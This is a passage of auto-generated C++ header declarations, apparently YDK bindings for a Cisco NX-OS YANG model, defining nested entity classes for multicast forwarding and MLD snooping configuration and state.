get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class EventHistoryList; //type: System::McastfwdItems::InstItems::EventhistItems::EventHistoryList ydk::YList eventhistory_list; }; // System::McastfwdItems::InstItems::EventhistItems class System::McastfwdItems::InstItems::EventhistItems::EventHistoryList : public ydk::Entity { public: EventHistoryList(); ~EventHistoryList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf type; //type: McastfwdEhType ydk::YLeaf size; //type: uint32 }; // System::McastfwdItems::InstItems::EventhistItems::EventHistoryList class System::McastfwdItems::InstItems::LoglevelItems : public ydk::Entity { public: LoglevelItems(); ~LoglevelItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf lvltype; //type: McastfwdLvlType ydk::YLeaf level; //type: uint32 }; // System::McastfwdItems::InstItems::LoglevelItems class System::McastfwdItems::InstItems::SwrepliItems : public ydk::Entity { public: SwrepliItems(); ~SwrepliItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf type; //type: McastfwdSwRep }; // System::McastfwdItems::InstItems::SwrepliItems class System::MldsnoopItems : public ydk::Entity { public: MldsnoopItems(); ~MldsnoopItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf operst; //type: NwEntOperSt class InstItems; //type: System::MldsnoopItems::InstItems std::shared_ptr inst_items; }; // System::MldsnoopItems class System::MldsnoopItems::InstItems : public ydk::Entity { public: InstItems(); ~InstItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string ydk::YLeaf allrtrmcastencap; //type: string ydk::YLeaf flags; //type: string class DomItems; //type: System::MldsnoopItems::InstItems::DomItems class InststatsItems; //type: System::MldsnoopItems::InstItems::InststatsItems std::shared_ptr dom_items; std::shared_ptr inststats_items; }; // System::MldsnoopItems::InstItems class System::MldsnoopItems::InstItems::DomItems : public ydk::Entity { public: DomItems(); ~DomItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class DomList; //type: System::MldsnoopItems::InstItems::DomItems::DomList ydk::YList dom_list; }; // System::MldsnoopItems::InstItems::DomItems class System::MldsnoopItems::InstItems::DomItems::DomList : public ydk::Entity { public: DomList(); ~DomList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf encap; //type: string ydk::YLeaf name; //type: string ydk::YLeaf id; //type: uint32 ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string ydk::YLeaf flags; //type: string class DbItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems class DomstatsItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DomstatsItems class StrtrifItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems class RtrifItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::RtrifItems class QuerierpItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::QuerierpItems class QuerierstItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::QuerierstItems std::shared_ptr db_items; std::shared_ptr domstats_items; std::shared_ptr strtrif_items; std::shared_ptr rtrif_items; std::shared_ptr querierp_items; std::shared_ptr querierst_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems : public ydk::Entity { public: DbItems(); ~DbItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class DbList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList ydk::YList db_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList : public ydk::Entity { public: DbList(); ~DbList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf type; //type: IpmcsnoopDbT ydk::YLeaf name; //type: string ydk::YLeaf totalmaccount; //type: uint32 class McgrpItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems std::shared_ptr mcgrp_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems : public ydk::Entity { public: McgrpItems(); ~McgrpItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class McGrpRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList ydk::YList mcgrprec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList : public ydk::Entity { public: McGrpRecList(); ~McGrpRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf addr; //type: string ydk::YLeaf name; //type: string ydk::YLeaf ver; //type: McastVer class EpgItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems class RepItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems std::shared_ptr epg_items; std::shared_ptr rep_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems : public ydk::Entity { public: EpgItems(); ~EpgItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class EpgRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList ydk::YList epgrec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList : public ydk::Entity { public: EpgRecList(); ~EpgRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf fabencap; //type: string ydk::YLeaf name; //type: string ydk::YLeaf id; //type: uint32 class RepItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems std::shared_ptr rep_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems : public ydk::Entity { public: RepItems(); ~RepItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class ReportRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList ydk::YList reportrec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList : public ydk::Entity { public: ReportRecList(); ~ReportRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf mcastsrc; //type: string ydk::YLeaf ver; //type: McastVer ydk::YLeaf name; //type: string ydk::YLeaf filtmode; //type: McastFiltMode ydk::YLeaf flags; //type: string class OifItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems std::shared_ptr oif_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems : public ydk::Entity { public: OifItems(); ~OifItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OIFRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList ydk::YList oifrec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList : public ydk::Entity { public: OIFRecList(); ~OIFRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf id; //type: string ydk::YLeaf name; //type: string class HostItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems std::shared_ptr host_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems : public ydk::Entity { public: HostItems(); ~HostItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class HostRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems::HostRecList ydk::YList hostrec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems::HostRecList : public ydk::Entity { public: HostRecList(); ~HostRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf addr; //type: string ydk::YLeaf name; //type: string }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::EpgItems::EpgRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems::HostRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems : public ydk::Entity { public: RepItems(); ~RepItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class ReportRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList ydk::YList reportrec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList : public ydk::Entity { public: ReportRecList(); ~ReportRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf mcastsrc; //type: string ydk::YLeaf ver; //type: McastVer ydk::YLeaf name; //type: string ydk::YLeaf filtmode; //type: McastFiltMode ydk::YLeaf flags; //type: string class OifItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems std::shared_ptr oif_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems : public ydk::Entity { public: OifItems(); ~OifItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OIFRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList ydk::YList oifrec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList : public ydk::Entity { public: OIFRecList(); ~OIFRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf id; //type: string ydk::YLeaf name; //type: string class HostItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems std::shared_ptr host_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems : public ydk::Entity { public: HostItems(); ~HostItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class HostRecList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems::HostRecList ydk::YList hostrec_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems class System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems::HostRecList : public ydk::Entity { public: HostRecList(); ~HostRecList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf addr; //type: string ydk::YLeaf name; //type: string }; // System::MldsnoopItems::InstItems::DomItems::DomList::DbItems::DbList::McgrpItems::McGrpRecList::RepItems::ReportRecList::OifItems::OIFRecList::HostItems::HostRecList class System::MldsnoopItems::InstItems::DomItems::DomList::DomstatsItems : public ydk::Entity { public: DomstatsItems(); ~DomstatsItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; }; // System::MldsnoopItems::InstItems::DomItems::DomList::DomstatsItems class System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems : public ydk::Entity { public: StrtrifItems(); ~StrtrifItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class StRtrIfList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList ydk::YList strtrif_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems class System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList : public ydk::Entity { public: StRtrIfList(); ~StRtrIfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf id; //type: string ydk::YLeaf name; //type: string ydk::YLeaf descr; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf encap; //type: string class RtvrfMbrItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtvrfMbrItems class RtnwPathToIfItems; //type: System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtnwPathToIfItems std::shared_ptr rtvrfmbr_items; std::shared_ptr rtnwpathtoif_items; }; // System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList class System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtvrfMbrItems : public ydk::Entity { public: RtvrfMbrItems(); ~RtvrfMbrItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf tdn; //type: string }; // System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtvrfMbrItems class System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtnwPathToIfItems : public ydk::Entity { public: RtnwPathToIfItems(); ~RtnwPathToIfItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class RtNwPathToIfList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtnwPathToIfItems::RtNwPathToIfList ydk::YList rtnwpathtoif_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtnwPathToIfItems class System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtnwPathToIfItems::RtNwPathToIfList : public ydk::Entity { public: RtNwPathToIfList(); ~RtNwPathToIfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf tdn; //type: string }; // System::MldsnoopItems::InstItems::DomItems::DomList::StrtrifItems::StRtrIfList::RtnwPathToIfItems::RtNwPathToIfList class System::MldsnoopItems::InstItems::DomItems::DomList::RtrifItems : public ydk::Entity { public: RtrifItems(); ~RtrifItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class RtrIfList; //type: System::MldsnoopItems::InstItems::DomItems::DomList::RtrifItems::RtrIfList ydk::YList rtrif_list; }; // System::MldsnoopItems::InstItems::DomItems::DomList::RtrifItems class System::MldsnoopItems::InstItems::DomItems::DomList::RtrifItems::RtrIfList : public ydk::Entity { public: RtrIfList(); ~RtrIfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf id; //type: string }; // System::MldsnoopItems::InstItems::DomItems::DomList::RtrifItems::RtrIfList class System::MldsnoopItems::InstItems::DomItems::DomList::QuerierpItems : public ydk::Entity { public: QuerierpItems(); ~QuerierpItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> 